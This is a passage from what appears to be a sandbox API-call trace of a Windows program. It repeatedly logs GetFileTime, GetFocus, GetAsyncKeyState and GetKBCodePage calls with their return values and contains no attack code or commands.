GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.752] GetAsyncKeyState (vKey=58) returned 0 [0256.752] GetKBCodePage () returned 0x1b5 [0256.752] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.752] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.753] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.753] GetFocus () returned 0x0 [0256.753] GetAsyncKeyState (vKey=58) returned 0 [0256.753] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.754] GetFocus () returned 0x0 [0256.754] GetAsyncKeyState (vKey=58) returned 0 [0256.754] GetKBCodePage () returned 0x1b5 [0256.754] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.755] GetKBCodePage () returned 0x1b5 [0256.755] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.755] GetFocus () returned 0x0 [0256.755] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.756] GetFocus () returned 0x0 [0256.756] GetAsyncKeyState (vKey=58) returned 0 [0256.756] GetKBCodePage () returned 0x1b5 [0256.756] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.757] GetFocus () returned 0x0 [0256.757] GetAsyncKeyState (vKey=58) returned 0 [0256.757] GetKBCodePage () returned 0x1b5 [0256.757] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.757] GetFocus () returned 0x0 [0256.757] GetAsyncKeyState (vKey=58) returned 0 [0256.757] GetKBCodePage () returned 0x1b5 [0256.757] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.757] GetFocus () returned 0x0 [0256.757] GetAsyncKeyState (vKey=58) returned 0 [0256.757] GetKBCodePage () returned 0x1b5 [0256.757] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.757] GetFocus () returned 0x0 [0256.757] GetAsyncKeyState (vKey=58) returned 0 [0256.757] GetKBCodePage () returned 0x1b5 [0256.757] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.757] GetFocus () returned 0x0 [0256.757] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.761] GetFocus () returned 0x0 [0256.761] GetAsyncKeyState (vKey=58) returned 0 [0256.761] GetKBCodePage () returned 0x1b5 [0256.761] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.762] GetFocus () returned 0x0 [0256.762] GetAsyncKeyState (vKey=58) returned 0 [0256.762] GetKBCodePage () returned 0x1b5 [0256.762] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 